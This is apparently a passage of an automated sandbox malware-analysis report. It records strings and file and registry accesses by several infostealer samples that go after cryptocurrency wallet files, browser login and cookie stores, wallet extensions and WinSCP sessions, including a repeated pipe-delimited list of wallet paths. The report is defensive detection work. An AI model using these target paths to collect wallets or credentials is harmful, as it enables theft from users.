Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: NRN3O_fFwiqNbjNW0Hj0MSKB.exe, 00000005.00000002.2080454076.000000000140A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: va2JQfwFWdGawVd2zp4LeR00.exe, 0000000A.00000002.2470528730.0000000002E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: oRz0dgUR_xvbQVyt3Uz7F7QO.exe, 00000010.00000002.2418440068.000000000163F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Opens network shares

Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: \\config\
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: \\config\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp

Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\Documents\SimpleAdobe\va2JQfwFWdGawVd2zp4LeR00.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT
Source: C:\Users\user\AppData\Local\Temp\katDE8F.tmp	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\r7sW8wNeP3sav5N1yYLUJzML.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\oRz0dgUR_xvbQVyt3Uz7F7QO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
